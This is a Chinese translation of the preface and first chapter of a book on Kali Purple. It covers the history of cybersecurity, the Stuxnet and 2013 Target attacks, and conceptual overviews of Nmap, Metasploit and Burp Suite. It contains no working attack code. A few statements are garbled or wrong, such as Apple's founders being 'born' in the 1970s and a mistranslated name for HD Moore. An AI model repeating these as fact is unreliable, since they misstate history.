Kali-Purple-入门-一-

Kali Purple 入门(一)

原文:annas-archive.org/md5/4fe560306898e0c7f9e94d0b486ac6df

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

嘿,你好!欢迎来到Introduction to Kali Purple – 一个充满乐趣的教育手册,重点介绍集成了防御性安全工具和渗透测试/道德黑客常用的攻击性安全工具的 Kali Linux 操作系统的独特特色。

Kali Purple 独特之处在于它是一套可由攻击性或防御性网络安全人员使用的互操作工具,用于开发教育和培训目的的概念验证用例。这些工具按照国家标准与技术研究院网络安全框架NIST CSF)的支柱进行组织。

虽然我们提供了一个高层次概述的入门手册,但我们也包含了一些更高级的概念和大量的额外资源,供那些喜欢探索的人使用,这些人经常分不清现在是黎明还是黄昏,并且真诚地喜欢糟糕的老爸笑话。

对于那些宁愿保持婚姻的人,我们已将内容分为三个逐步阶段,每个阶段都有其各自的章节组,因此您可以逐步消化材料:

  • 安装 Kali Purple 及用于获取、存储和展示信息的工具

  • 获取数据进行分类和事件响应的分析

  • 数字取证、攻击性安全和自动化

在帮助您开始建立自己的 Kali Purple 实例并部署安全信息与事件管理SIEM)系统之前,我们简要介绍了网络安全概念与网络攻击的历史。

然后我们向您介绍了数据包和数据分析工具以及入侵检测和预防系统。之后,我们将进入数据收集、丰富化、索引化、存储和分析后所发现恶意活动的应对阶段 – 事件响应。

然后我们深入讨论数字取证、社会工程学和攻击性安全,突出一些被道德黑客和网络犯罪分子广泛使用的知名工具,最后总结自动化和 NIST 框架。

本书适合谁

本书适合网络安全爱好者、学生和专注于攻击或防御,或者如何用攻击对付防御以教育目的的初级分析师。

此内容是针对以下受众目标开发的:

  • 寻找一个工具来开发使用案例场景以培训初级分析师的 SOC 领导层。

  • 寻求更好理解防御安全工具以及攻击工具和技术如何对其造成影响的网络安全学生。

  • 初级网络安全分析师希望扩展其专业工具箱,并更深入地理解其领域与当前角色相关性的人。本内容将指导他们朝多个可能个人成就的方向发展。

本书涵盖内容

第一章网络安全导论,通过探讨新兴技术与相关威胁的平行历史,提供了网络安全的介绍。它讨论了进攻性安全与防御性安全的区别,以及我们今天所处的安全形势是如何形成的。

第二章Kali Linux 与 ELK 堆栈,探讨了 Kali 与其他 Linux 发行版的谱系,并介绍了操作系统的核心防御工具之一——一组统称为 ELK 堆栈的应用程序。Elasticsearch、Logstash 和 KibanaELK)与支持数据发货组件 Beats 和 X-Pack 一同呈现。

第三章安装 Kali Purple Linux 环境,全面回顾了如何获取、更新和运行 Kali Purple 及其所需的依赖项,无论读者当前使用的主机操作系统是什么。本章通过探索虚拟机,尤其是广泛接受且免费提供的 VirtualBox,来覆盖这一兼容性需求。

第四章配置 ELK 堆栈,汇聚前两章所学的内容,引导你搭建 ELK 堆栈的核心组件及其支持技术。本章首先查看 Elasticsearch 数据库和索引应用程序,并将其与 Kibana 可视化界面集成,然后添加 Logstash 进行数据增强。

第五章将数据发送到 ELK 堆栈,继续通过探讨 SIEM 解决方案如何通过数据发货器获取信息,并设置它们向 SIEM 报告,进一步构建 ELK 的配置。本章将探索数据流的全貌——信息如何通过 Logstash 进行增强,如何在 Elasticsearch 中索引和存储,并通过 Kibana 呈现给 SIEM 用户。

第六章流量与日志分析,深入探讨了可能最终通过 ELK 堆栈或其他 SIEM 解决方案运行的信息,首先简要概述了数据包,然后介绍了 Malcolm 数据收集和分析工具套件,重点介绍了 Arkime——Malcolm 更为突出的数据分析工具之一。

第七章入侵检测与防御系统,在上一章介绍的 Malcolm 工具套件的基础上,提供了入侵检测与防御系统的概述。首先对两种入侵管理方式进行对比和分析,然后聚焦于 Suricata IDS/IPS 和 Zeek IDS。

第八章安全事件与响应,通过引入安全编排与自动化响应SOAR)设置,结合 StrangeBee 的 Cortex 和 TheHive,努力深入解释了事件响应。本章还介绍了与各种情报和信息威胁源的额外集成,如恶意软件信息共享平台MISP)、结构化威胁信息表达STIX)和受信自动化指标交换信息TAXII)。本章最后鼓励您开始独立研究并做出社区贡献。

第九章数字取证,回顾了 Kali Purple 在数字取证中的贡献,主要通过恶意软件分析,同时介绍了一些工具,这些工具可能更多地与攻击性安全相关,但却为用户行为和思维方式提供了深刻洞察。

第十章整合红队与外部工具,将之前与 Kali Linux 和渗透测试相关的攻击性安全工具与您在本书其他章节中探索和设置的防御性工具结合起来,供您部署并用于防御性工具的测试。本章深入探讨了攻击性安全,涵盖了诸如 OWASP ZAP、Wireshark、Metasploit、Burp Suite、Nmap、sqlmap、Nikto、Nessus、Hydra、Medusa 和 John the Ripper 等流行工具。

第十一章自动驾驶、Python 和 NIST 控制,通过自动驾驶自动化脚本等高级功能,总结了Kali Purple 入门一书。接着,章节提供了对 Python 脚本语言的独特见解,重点不是学习如何开发代码,而是从网络防御者的角度识别它,以便进行分析。最后,章节介绍了 Kali Purple 所基于的框架,包括最近增加的 Govern 支柱的高级概览。

获取本书最大收益

您应该具备基本的安全概念和 Linux 操作系统知识——任何版本,但 Kali 是最理想的——以及信息技术系统和数据流的一般知识。

本书中涵盖的常规应用 操作系统要求
VirtualBox Windows、macOS 或 Linux
Kali Purple Linux
Elasticsearch、Logstash、Kibana、Beats、Elastic Agent(ELK 栈) Windows、macOS 或 Linux
Malcolm 套件,包括 Arkime、Suricata 和 Zeek Windows、macOS 或 Linux
StrangeBee 套件,包括 Cortex 和 TheHive Windows、macOS 或 Linux
渗透测试套件,包括 OWASP ZAP、Wireshark、Metasploit、Burp Suite、Nmap、sqlmap、Nikto、Nessus、Hydra、Medusa 和 John the Ripper Windows、macOS 或 Linux
Kali 自动驾驶 Kali Linux

使用的约定

本书中使用了许多文本约定。

文本中的代码:表示文本中的代码词、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟网址、用户输入和 Twitter 账户名。以下是一个示例:“输入community-id作为搜索词。将该值设置为true。”

代码块设置如下:

awesomeSauce = "Sweet Baby Ray's"
print("My favorite sauce is: " + awesomeSauce + "!")
# Now it will print – My favorite sauce is: Sweet Baby Ray's!

当我们希望特别提醒你关注代码块中的某一部分时,相关行或项会以粗体显示:

awesomeSauce = "Sweet Baby Ray's"
print("My favorite sauce is: " + awesomeSauce + "!")
# Now it will print – My favorite sauce is: Sweet Baby Ray's!

任何命令行输入或输出都写成如下格式:

sudo apt install apt-transport-https ca-certificates curl gnupg lsb-release

粗体:表示新术语、重要词汇或你在屏幕上看到的文字。例如,菜单或对话框中的文字通常以粗体显示。以下是一个示例:“将光标移动到左侧列,悬停在08 - 攻击工具上。”

提示或重要说明

看起来像这样。

与我们联系

我们始终欢迎读者的反馈。

一般反馈:如果你对本书的任何方面有疑问,请通过 customercare@packtpub.com 与我们联系,并在邮件主题中注明书名。

勘误表:尽管我们已尽一切努力确保内容的准确性,但仍可能会出现错误。如果你在本书中发现错误,我们将非常感激你报告给我们。请访问www.packtpub.com/support/errata并填写表格。

盗版:如果你在互联网上发现我们作品的任何非法复制版本,我们将非常感激你提供相关位置地址或网站名称。请通过 mailto:copyright@packt.com 联系我们,并附上该材料的链接。

如果你有兴趣成为作者:如果你在某个主题上有专业知识,并且有兴趣撰写或参与撰写书籍,请访问authors.packtpub.com

分享你的想法

阅读完《Kali Purple 简介》后,我们很想听听你的想法!请点击这里直接进入 Amazon 评价页面并分享你的反馈。

你的评论对我们和技术社区都非常重要,并将帮助我们确保提供优质的内容。

下载本书的免费 PDF 副本

感谢你购买本书!

你喜欢随时阅读,但又不能随身携带纸质书籍吗?

你的电子书购买无法与所选设备兼容吗?

不用担心,现在每本 Packt 书籍都附带免费的无 DRM PDF 版本。

随时随地、在任何设备上阅读。直接将你最喜欢的技术书籍中的代码复制粘贴到你的应用程序中。

好处不仅仅这些,你还可以每天在邮箱中独享折扣、新闻通讯以及精彩的免费内容。

按照以下简单步骤获得福利:

  1. 扫描二维码或访问以下链接

下载本书的免费 PDF 副本

packt.link/free-ebook/978-1-83508-898-2

  1. 提交你的购买证明

  2. 就这样!我们将直接把免费的 PDF 和其他福利发送到你的电子邮件

第一部分:介绍、历史与安装

在这一部分,你将了解我们是如何走到今天这个网络安全领域的。你将简要了解技术与威胁的共同发展历史,以及应对这些威胁的解决方案,从而催生了今天我们所拥有的网络安全工具集。

你将学习如何通过虚拟化技术隔离设备的一部分(适用于任何操作系统),以便你能够设置自己的 Kali Purple 实例,然后安装并配置你自己的迷你 SIEM 与 ELK 堆栈。

本部分包含以下章节:

  • 第一章网络安全简介

  • 第二章Kali Linux 与 ELK 堆栈

  • 第三章安装 Kali Purple Linux 环境

  • 第四章配置 ELK 堆栈

  • 第五章向 ELK 堆栈发送数据

第一章:网络安全简介

如果你正在阅读这本书,那么你很有可能已经熟悉网络安全。你甚至可能已经有一定的 Linux 经验,或者熟悉 Linux 的 Kali 变种操作系统(OS)。这是一款广泛使用的工具,通常由被称为红队的人士使用。进攻性安全是指用户模拟攻击,以发现组织技术中的潜在漏洞。然而,在进攻的背后,防守也同样重要。在计算机和技术的世界中,负责防守安全的团队通常被称为蓝队。如果你对色轮有所了解,你就会知道,当红色与蓝色结合时,会得到紫色。将进攻与防守的工具合并,打包成一个软件应用套件,添加到流行的 Linux 操作系统中,这就是 Kali Purple 的核心理念!

在本章中,我们将涵盖以下主要话题:

  • 我们是如何走到这一步的

  • 进攻性安全

  • 防守性安全

你将简要了解网络安全的历史,特别是它与这类服务的需求以及这些服务如何与 Kali Purple 相关。了解这些将为你理解常见于 Purple 发行版中的工具结构和用途奠定基础。在这个过程中,你将开始认识到这套工具的革命性力量。

已经熟悉 Kali Linux 操作系统的人们,应该对其中包含的一些进攻性网络安全工具有所了解。对于那些不熟悉的人,没关系!虽然有 Linux 经验的人会更容易理解我们将要讨论的一些概念,但我们这些在该领域工作的专业人士可以证明,许多只有 Windows 经验的人也在网络安全领域取得了成功。如果你就是其中之一,放心吧,我们将在进攻性安全部分提供一个高层次的概述,这将为你提供足够的基础,使你能够轻松地导航本书的其余部分。如何集成这些进攻性工具将在本书稍后的部分进行讨论。

在 Kali Purple 的介绍部分,我们将重点介绍为这一特定 Linux 发行版添加的蓝队工具。与红队工具一样,我们将在本章一开始就提供一个高层次的概述。你将看到 Kali Purple 的独特性,并能够想象如何利用这一工具建立一个完整的防御性安全运营中心SOC)。

到本章结束时,你将对如何使用 Kali Purple 来培训你组织中的分析师有一个全面的认识。你还将开始看到,这个工具如何用于小型企业、家庭办公甚至个人设置,提供一种安全层,这种安全层通常只有通过专业的托管安全服务 提供商MSSP)的订阅才能获得。

我们是如何走到今天的

当今世界对一套技术先进的计算机安全工具的需求并不是一夜之间出现的。并不是有两个大学生因为上课无聊而决定磨练他们的编码技巧。不是的——计算机技术的安全概念是随着技术本身的发展而逐渐演变的。

如果你愿意的话,你可能会找到一些历史文献,上面绘有古代象形文字或其他语言,讲述算盘的故事。它可能会详细描述某人在某地通过某种视觉误导艺术欺骗古代美索不达米亚人,引导他们到会计人员那里,然后移动一颗或两颗算盘珠子。我们将让历史学家去确定并讲述这些故事。我们要专注于现代计算机的安全。

在 20 世纪 60 年代和 70 年代,计算机安全主要是传统意义上的物理保护——即安全主要围绕着限制对大型计算机的物理访问展开。它包括诸如键盘和锁住的房间等访问控制。许多时候,这些系统是独立的,它们没有与其他系统联网。当计算机系统的网络化开始展开时,通常是美国政府一个名为国防高级研究计划局DARPA)的大型项目的一部分,目的是创建今天我们看到的广泛互联互通。有时,字母 D 被省略,你可能会看到它非正式地被称为ARPA。该组织隶属于国防部DOD),以从事超级机密且常常在流行文化中戏剧化的有趣项目而闻名。该组织曾领导过一些研究项目,推动了技术的前沿进展。将计算机系统连接起来就是其中的一项成就,最终形成了被称为ARPANET的网络。这种安全方式的主要目的是防止未经授权的个人访问并窃取敏感信息。

这一发展始于 1980 年代,伴随着个人计算机的出现和市场推广。尽管 Apple Computer 的创始人史蒂夫·乔布斯、史蒂夫·沃兹尼亚克和罗纳德·韦恩是在 1970 年代诞生的,但他们的苹果公司在 1980 年代初期凭借其传奇的 MacIntosh 个人计算机的商业发布迅速成名。它是第一款采用我们现在所称的图形用户界面GUI)和鼠标技术的个人计算机。当时,计算机网络和机器之间的通信能力也开始流行起来。在这一时期,计算机安全的重点从物理访问限制转向了数据传输的安全,确立了安全通信协议和数据加密。这一时期还推出了数据加密标准DES)的第一个版本,用于保护数据免受拦截。

苹果计算机——现为苹果公司——是首批成功推广个人计算机产品的公司之一。然而,是微软 Windows 在 1990 年代的崛起主宰了市场,并使个人计算成为家庭日常活动。Windows 诞生于 1980 年代,但正是 1995 年发布的 Windows 95 带来了今天我们仍然享受的许多个人计算机的便利功能。在这一时期,个人计算的急剧普及带来了前所未有的挑战,并催生了我们今天所知道的网络犯罪的根源。黑客一词,曾是用来描述对产品进行创新性改进的过程的正面词语,逐渐变成了与恶行相关联的负面词语,指的是那些希望利用技术为恶作剧的恶棍。尽管 1960 年代和 1970 年代也发生过孤立的恶作剧和恶意软件事件,更不用说 1988 年臭名昭著的莫里斯蠕虫,但正是在 1990 年代,黑客开始大规模寻找并利用软件应用程序和网络架构中的漏洞。具备编码技能的黑客开始利用其能力创建对他人造成危害、作为麻烦或进行其他不法行为的软件。尽管第一款杀毒软件由约翰·麦卡菲于 1986 年创建,但这也推动了最初版本的杀毒软件的发展,最终成为广泛商业化的产品。防火墙被开发出来,以防止未授权访问端点,并且安全套接层SSL)和传输层安全TLS)的早期版本也发布了。

随着世界进入 21 世纪,计算机和网络技术的快速发展为电子商务铺平了道路。在线购物和其他商业交易的兴起带来了对安全支付系统的需求。毕竟,如果不法分子能在其他领域制造麻烦,那么任何可能让他们接触到商业或个人财务的东西,都将成为他们的目标!因此,当时的主要信用卡公司开始致力于制定支付卡行业数据安全标准PCI-DSS)。这一标准旨在为信用卡和借记卡的相关方提供框架,以防止欺诈行为。1990 年代的 SSL 和 TLS 技术变得更加健壮,并得到了更广泛的接受和使用。这些安全原则旨在加密通信中的数据,并覆盖信息安全三原则中的保密性和完整性方面,这三原则有时被称为保密性、完整性和可用性CIA)三原则。如果你不熟悉这个网络安全的基础框架,我们将在本章的防御性 安全部分中进行讨论。

到了 2000 年代中期,网络攻击和数据泄露变得更加频繁,且也更加复杂。这时,真正的挑战开始了。正是这一时期网络犯罪分子的行为,直接推动了《Kali Purple》中的一些技术的发展,这些技术将在本书中进行讲解。实时响应安全事件的需求变得更为迫切。虽然当时已有一些技术用于应对这些问题,但它们充其量也只是初步的。信息安全领域中逐渐崭露头角的概念包括入侵检测系统IDS)、入侵防御系统IPS)和安全信息与事件管理SIEM)系统等。这些概念是 Kali Purple 的一部分,本书将会详细讲解它们。

2010 年代,移动设备和云计算技术取得了巨大的进展。你猜还有什么也在大幅增长?没错,新的安全挑战。希望如果你到现在还没看到趋势的话,开始能看出来了。新兴技术和新兴威胁在网络安全领域之间有着密切的关联。移动设备的安全问题相对简单,主要集中在保护用户数据、防止未经授权的访问以及确保移动应用的安全;这和今天的情况差不多。云计算的安全性则更多地集中在访问控制、数据存储以及保护虚拟机VM)上。当你在 Kali Purple 的世界中探索时,你会看到你将学习的工具也在这些领域中发挥着重要作用。

让我们来看一下从主机物理保护到手持设备的过渡:

图 1.1 – 现代网络安全的演变

图 1.1 – 现代网络安全的演变

直到这一点,大部分技术世界的安全都是信息技术(IT)的一个重点领域。独立的安全专家存在,但比今天要少得多。从 2010 年后的一系列广为人知的网络攻击导致网络安全行业成为一个主流的职业领域。由于 Kali Purple 的整体工具套件是基于保护免受网络攻击的,我们将简要介绍一些更突出的攻击,以便在本书学习这些工具时,可以参考本节,并在头脑中整合出这些工具的价值、需求和 - 最重要的 - 目的。

Stuxnet

在深入讨论 2010 年后的网络攻击猛烈行动之前,我们将简要讨论有史以来最著名的攻击之一,也被一些圈子认为是网络安全进化为一个自成一派职业领域的催化剂。这是一种涉及外部设备的攻击:USB 驱动器。虽然这种攻击似乎不能通过本书中我们将讨论的工具阻止,但仍需保持警惕和开放思维。不仅 Kali Purple 有识别和帮助阻止这类攻击的工具,Kali 家族的工具也可以创建它们!我们在这里讨论的攻击是著名的 Stuxnet 蠕虫,在 2010 年被发现。

Stuxnet 也是政府利用网络技术进行攻击性目的的首批案例之一。一些人认为它是网络战的原罪。虽然对于谁是这次攻击的真正责任方没有明确的答案,但网络安全社区普遍一致认为,这很可能是美国和以色列联合对伊朗核计划的一次行动。

复杂的攻击发生在六个阶段:

  1. 侦察和情报收集,以发现要被攻击的代码和系统。

  2. Zero-day 和自定义漏洞利用被用来破坏和操纵系统。

  3. 编写的代码覆盖所有踪迹,避免检测。

  4. USB 驱动器被武装化,携带恶意载荷并秘密传送/掩盖踪迹。

  5. 载荷通过秘密操作人员交付,他们在停车场投放武装化的 USB。

  6. 一名毫无戒心的员工发现了其中一个 USB,并将其安装在目标系统上。

西门子是一家跨国创新技术集团公司,生产被称为可编程逻辑控制器PLC)的设备,用于管理工业控制系统ICSs)。这些系统通常被认为是关键基础设施。它们可以包括城市、城镇和大都市地区的能源、下水道和水系统。在这种情况下,目标是伊朗的核计划,而催化剂是故意破坏用于管理该计划组件的西门子 PLC。

需要指出的是,这次攻击非常复杂,可能涉及到大量的情报收集工作,且由秘密特工执行。它涉及开发针对 Windows 和西门子 PLC 软件的零日漏洞。然后,这些零日恶意漏洞被放置到多个自动运行的 USB 驱动器上。这些驱动器被意外丢弃在伊朗核浓缩设施的停车场——我们说意外,意思是故意——希望某个毫不知情的员工会捡起一个,插入到他们的工作计算机中查看里面的内容——这简直是典型的好奇心害死猫。结果成功了。Stuxnet 攻击涉及的漏洞悄悄地修改了西门子 PLC 中高度专业化的代码,这些代码负责管理伊朗核设施中的离心机。这些代码导致离心机以不当的速度运行,从而造成了离心机的物理破坏,严重损害了伊朗的核浓缩能力,同时也大大延迟了伊朗核技术的发展进程。

Stuxnet 成功的部分原因在于其设计者付出了极大的努力,以确保攻击能够保持隐蔽并避开检测。因此,在伊朗的核能力被破坏的同时,最初攻击发生的事实也被掩盖,直到最终攻击方式被发现。由于 Stuxnet 以一个 USB 驱动器中的蠕虫形式呈现,这意味着其中的恶意代码可以自我复制并独立地在网络设备间传播。如果美国和/或以色列对 Stuxnet 的初始释放负责,某些人可能会认为这有些适得其反。原因是,像印度和印尼这样的强大盟国最终也在其环境中感染了这个蠕虫。

由此开始了现代政府将计算机技术武器化的时代。Stuxnet 引发了全球安全人员的深刻反思。然而,对于普通人来说,这还不够个人化,无法引起他们的注意。为了达到这个效果,我们需要让个人公民受到影响。仅仅三年后,这种情况就发生了。

2013 年的 Target 网络攻击

也许 21 世纪最具个体影响力的网络攻击之一就是所谓的2013 年 Target 网络攻击。Target 是一家总部位于明尼苏达州明尼阿波利斯的大型知名零售连锁公司,主要在美国运营,尽管也有一些国际业务。这家商店因其吉祥物 Bullseye 而闻名,它是一只全白色的美国斗牛梗,眼睛上画着一个字面意义上的靶心。它还因另一件事而闻名:一流的安全性。为了遏制盗窃,Target 花费了多年时间开发出先进的安全系统,这些系统强大到有时会将他们的法医专家和团队借给地方执法部门,协助解决复杂的刑事案件,作为一种社会责任的表现。破解 Target 的安全系统就像是拳击手击败穆罕默德·阿里。因此,当事件发生时,震动了整个行业。

2013 年,Target 的网络防御成功被攻破,成为历史上最大的一个数据泄露事件之一。网络犯罪分子成功访问了数千万条客户记录,包括信用卡和借记卡号码!现在大家都知道,这次数据泄露最终归因于第三方供应商的安全疏忽。然而,完整的背景往往被忽视。这个事件中有很多错误,如果其中任何一个环节不同,这次攻击可能就不会成功了。此网络攻击的一些要素,正是 Kali Purple 工具和培训所针对的内容。

我们不会讨论与这次网络攻击相关的所有问题,或者可能预防这次攻击的每一种解决方法,例如缺乏适当的访问控制和网络分段,导致攻击者能够轻松进行横向移动。虽然这些问题可能通过用于网络和/或用户管理的 Linux 发行版来处理,分析它们也会很有趣,但它们不在 Kali Purple 的范围之内。然而,有一些与 Target 攻击直接相关的问题,恰好与 Purple 的工具集相关。

最重要的之一是基本的威胁监控——这是入侵检测或防御系统所做的工作。据传攻击者成功地在零售巨头的销售点POS)系统中安装了木马。这些系统在顾客购买商品的物品被扫描、征税并计算出总价后,会收集和处理借记卡或信用卡信息。即使在没有互联网连接的系统上,它们也会定期抓取扫描到的敏感金融数据,并将其传输到公司网络内的其他设备。这种类型的活动肯定会被今天的 IDS 和 SIEM 技术识别。当然,这只有在分析师相信他们所看到的并采取相应行动时才有价值。这将引出我们下一个场景。

在进一步解读这个故事之前,让我们先澄清一个非常重要的事实。Target 的安全性——直到今天依然如此——是行业领先的。这是任何组织都可以拥有的最佳安全防护。该公司在网络安全界是值得尊敬的。成为行业中最优秀之一的一个意外后果就是你会成为一个真正的目标——这并不是在开玩笑——一个靶子会被画在你的背上。这就像微软的 Windows 操作系统更容易成为病毒或其他恶意软件的受害者,而 Mac 或 Linux 系统有时会被错误地认为是免疫这种攻击的。任何了解情况的人都知道,Apple 和 Linux 实际上并不是免疫于恶意活动的,包括病毒。那些系统只是没有像 Windows 那样的公众炒作和市场份额。虽然这种情况随着时间的推移在慢慢改变,但当你了解 Kali Purple 提供的优秀网络安全防护时,理解“没有任何东西是真正免疫的”这一点至关重要。任何可以被设计出来的东西,无论是实物还是虚拟的,也都可以被逆向工程……任何东西!请在你的网络安全职业生涯中始终牢记这一关键事实。

话虽如此,让我们继续解析 Target 攻击的理论——关于公司卓越的安全性——并学习 Kali Purple 如何作为一套有效的工具,来保护未来免受此类攻击。一种未经证实的传闻是,Target 当时正在安装一套新的 IDS/IPS 系统,同时运行原有的系统,直到新系统完全投入使用之前,旧系统仍然保持活跃。如果这是真的,那真是太棒了!另一种版本的故事是,备受推崇的安全公司 FireEye 开发了一款恶意软件检测工具,而正是这款工具被部署,而不是新的 IDS/IPS 系统。具体发生了什么尚不清楚。然而,即使将这些假设性答案置于一个假设的情境中,关于 Kali Purple 的经验教训仍然值得我们学习。

在新 IDS/IPS 的首次提议场景中,有人说新系统确实检测到了恶意活动(或 FireEye 的产品),并且确实对此进行了报告——据说这种报告让人感到烦躁!然而,旧系统仍然在运行,且旧系统并未报告此事件。这导致技术人员错误地认为新系统出现了故障,因此他们手动关闭了警报过程,而选择相信旧技术。现在,即使这不是真的,任何曾在 SOC 工作过的人都知道,警报疲劳是真实存在的,尤其是在班次即将结束时,技术人员或分析师很容易因此采取不必要的快捷方式。每当你或你所在的组织进行安全防御的升级或改进时,请记住,你之所以升级技术是有原因的。如果新技术发出警报,那就相信它!在使用 Kali Purple 的防御工具时,注意是否有某些烦人的警报出现。如果有,信它!即使前一百次都不正确,也只需要一次准确,不是吗?

另一个从 Target 黑客攻击中得到的启示是提供给系统操作人员的安全培训水平。可以合理假设,适当的培训可能会让那些忽视警报的人意识到,这些警报可能是合法的,而旧技术根本无法捕捉到新技术能够识别的威胁。Kali Purple 的一个重要优势就是其创建实时场景用于测试和概念验证的能力,这些场景可以用来对技术人员和分析师进行直接培训!在任何技术领域,培训都是至关重要的。当你能够加入实际应用和实时示例的元素时,这有助于学习者更好地理解需要传达的概念。

记住,Target 攻击的另外几个特点是数据加密不足和响应速度缓慢。在加密方面,我们稍后将讨论与 Kali Purple 一起提供的某些工具,如 CyberChef——这是一款功能强大的加密/解密工具,通常被认为是生存在网络安全世界中的必备工具。在事件响应方面,我们可以考虑一些工具,如 SynapseTheHive。我们将在第八章中专门讲解安全事件响应,并探讨 Kali Purple 提供的工具。

21 世纪继续带来大量广泛的高调网络攻击:

图 1.2 – 自 2010 年以来主要网络攻击的快照

图 1.2 – 自 2010 年以来主要网络攻击的快照

现在,我们已经简要回顾了网络安全领域的历史和事件演变,这些因素造就了如今的网络安全格局。接下来,我们将看看由于这些演变而开发和打磨的部分工具。在下一节中,您将一窥当前使用的一些最强大的进攻性安全(红队)工具。这些工具是 Kali Linux 操作系统的一部分,也就是说,它们是 Kali Purple 的一部分。

进攻性安全

进攻性安全方面源自 Purple 家族中的红队部分。由于防御性工具集是 Kali Purple 区别于其他工具的关键,我们将仅突出与使用案例和测试 Purple 防御设置相关的进攻性部分。您需要学习或至少对进攻性安全有基本的了解,才能从 Kali Purple 中获得最强大的回报。您将理解足够的进攻性安全和红队工具及技术,从而能够有效地测试您的防御设置。这也将使您能够开发实时展示和概念验证活动,用于培训他人或自己尝试。这并不是一个详尽的说明或参考,特别是对于那些专门或主要关注进攻性安全的人。它仅仅是为了让您的 Kali Purple 之旅更加完整和顺利。

预计阅读本书的大多数人已经对 Kali Linux 操作系统有一定的了解或至少有一定的基础。然而,并非每个对网络安全感兴趣或从事相关工作的人都花时间去使用并理解 Linux 的全部价值。Kali Purple 的热潮激发了一些本来接触或经验有限的用户对 Linux 的兴趣。正因如此,我们将在本书中为您提供足够的信息,使您即便没有 Linux 经验,也能成功理解和使用 Kali Purple。然而,让我们坦白说——我们这些技术人员确实往往对自己的技术有些上瘾,不是吗?如果您对 Linux 的经验有限,您可能会被诱惑偏离 Kali Purple。虽然这并不影响您对 Purple 的理解,但 Vijay Kumar Velu 已经创作了一部杰作,将满足您的好奇心。您可以在本章的进一步阅读部分找到这个宝贵的信息,它将帮助您解渴,提升 Kali Linux 操作系统的技能。

注意

当我们查看 Kali Linux 发行版中的一些红队工具和方法时,必须明确理解这些工具和方法是非常危险的。它们可以造成真实且重大的损害——甚至是犯罪级别的损害。因此,在使用这些工具和/或方法之前,务必确保你拥有执行此类操作的明确授权。当然,如果你在攻击自己的系统后再辩称没有授权自己,那你可能面临更大的问题。开个玩笑,实际上有很多公开的测试网站和应用程序是专门为实践操作而设计的。然而,这些资源在这里不适用,因为我们正在使用这些工具来测试我们自己的防御系统。

Kali Linux 发行版中有一些工具,既被黑客也被安全团队的进攻型操作员使用,包括以下工具:

  • Nmap

  • Metasploit Framework

  • Burp Suite

  • Wireshark

  • Aircrack-ng

  • John the Ripper

  • Hydra

  • SQLmap

  • Maltego

  • 社会工程学 工具包 (SET)

让我们详细了解这些工具。

Nmap

Nmap网络映射器的缩写,它是运营商广泛使用的工具,用于发现任何网络的设置和布局,允许用户在需要时绘制物理网络图。通过映射网络,操作员可以获取一个可视化的图形,用以分析网络,从而检查潜在的漏洞或可利用点。Nmap 通过向目标发送信息包,并根据是否收到响应以及响应的内容做出假设来实现这一目标。以下是一个 Nmap 扫描示例:

图 1.3 – 示例 Nmap 扫描

图 1.3 – 示例 Nmap 扫描

Nmap 可用于扫描整个网络或一系列 IP 地址。在这种使用方式下,通常是为了识别网络中任何正在运行的主机。在发送探测包后,Nmap 操作员如果收到任何形式的响应,就可以推断出某个主机在线。这将使任何攻击者能够创建网络拓扑,并列出可供进一步探测和/或利用的潜在目标。

当选择个别主机进行进一步渗透时,Nmap 可以用于执行端口扫描,端口扫描用于确定是否有端口对连接和通信开放。这种技术不仅有助于识别攻击者潜在的入口点,还可以提供设备功能的见解,因为特定的端口号可能揭示出特定类型的活动。例如,端口80443开放,可能会告诉用户该设备正在进行网站和安全网站的活动。

通过分析探针的响应,Nmap 还可以帮助攻击者确定主机上活动的操作系统。这将显著减少攻击向量的模糊性,并帮助他们缩小最有可能成功的攻击工具和方法。这一过程被称为操作系统指纹识别

与 Kali Purple 相关,Nmap 活动可以通过Elasticsearch、Logstash 和 KibanaELK)堆栈进行检测和分析,我们将在第二章中开始讨论它。它还可以通过流量和日志分析工具如ArkimeMalcolm,以及入侵检测工具如SuricataZeek进行检测,只要这些工具已配置为执行此操作。所有这些工具都是 Kali Purple 发行版的一部分。

Metasploit Framework

Metasploit Framework是目前最全面的开源漏洞开发平台之一。它很可能默认与任何专注于渗透测试的 Linux 操作系统一起提供,包括 Kali Linux。以下是 Metasploit 控制台:

图 1.4 – Metasploit 默认控制台

图 1.4 – Metasploit 默认控制台

最初由名为哈雷·大卫HD摩尔的专家创建,Metasploit 现在由名为Rapid7的公司拥有并维护。该框架包括大量的工具、漏洞和有效载荷。除了可以免费使用的社区版框架外,还有付费的专业版,因此你可以放心,知道你可以获得专业支持,享有先进的自动化和报告功能。

从高层次来看,漏洞利用只是为了利用目标信息系统端点中的漏洞而设计和编写的代码。Metasploit 包括旨在获得未经授权访问、提升特权、建立后门以及投递和远程执行恶意有效载荷的漏洞利用代码。

更好的是,Metasploit Framework 允许创建自定义有效载荷,并提供访问预先构建的有效载荷库的功能。有效载荷是指任何被投递到受损系统的应用程序或代码。该框架还包括所谓的后渗透模块,这些模块更像是二级漏洞利用或只能在成功执行先前漏洞利用后使用的漏洞利用。这可以帮助操作员继续深入探索系统和网络,获取敏感数据进行外泄或其他恶意目的。

Metasploit 还可以用来发起基于社会工程学的攻击,并生成所采取行动的报告。就像 Nmap 一样,Metasploit 的活动可以通过 Kali Purple 发行版中包含的工具进行检测,尤其是 Suricata 和 Zeek。ELK 堆栈需要一些自定义配置,但在一切完成后,你会明白为什么这是一件好事。

Burp Suite

Burp Suite由一家名为 PortSwigger 的公司开发,是领先的网络安全工具,广泛应用于 web 应用安全(及攻击)。几乎不可能找到一个专业的渗透测试人员在进行 web 应用测试时不使用 Burp Suite。Burp Suite 的安装包含多个独特的组件 – Burp Suite 称之为模块 – 每个模块设计上可以与其他模块配合使用,前提是用户需要这样做。大多数这些模块可以在该产品的社区版中免费使用。然而,Burp Suite 的一些功能只有在付费的 Pro 版中才能使用。但不要因此就小看这个产品!免费的社区版提供了一个非常有用的强大工具集!下面是 Burp Suite 的大厅:

图 1.5 – Burp Suite 的默认大厅

图 1.5 – Burp Suite 的默认大厅

Burp Suite 有一个代理模块,充当 web 浏览器和目标操作之间的中介。这个代理允许进行中间人攻击,为操作员提供拦截 HTTP/S 流量并修改其请求和响应的途径。

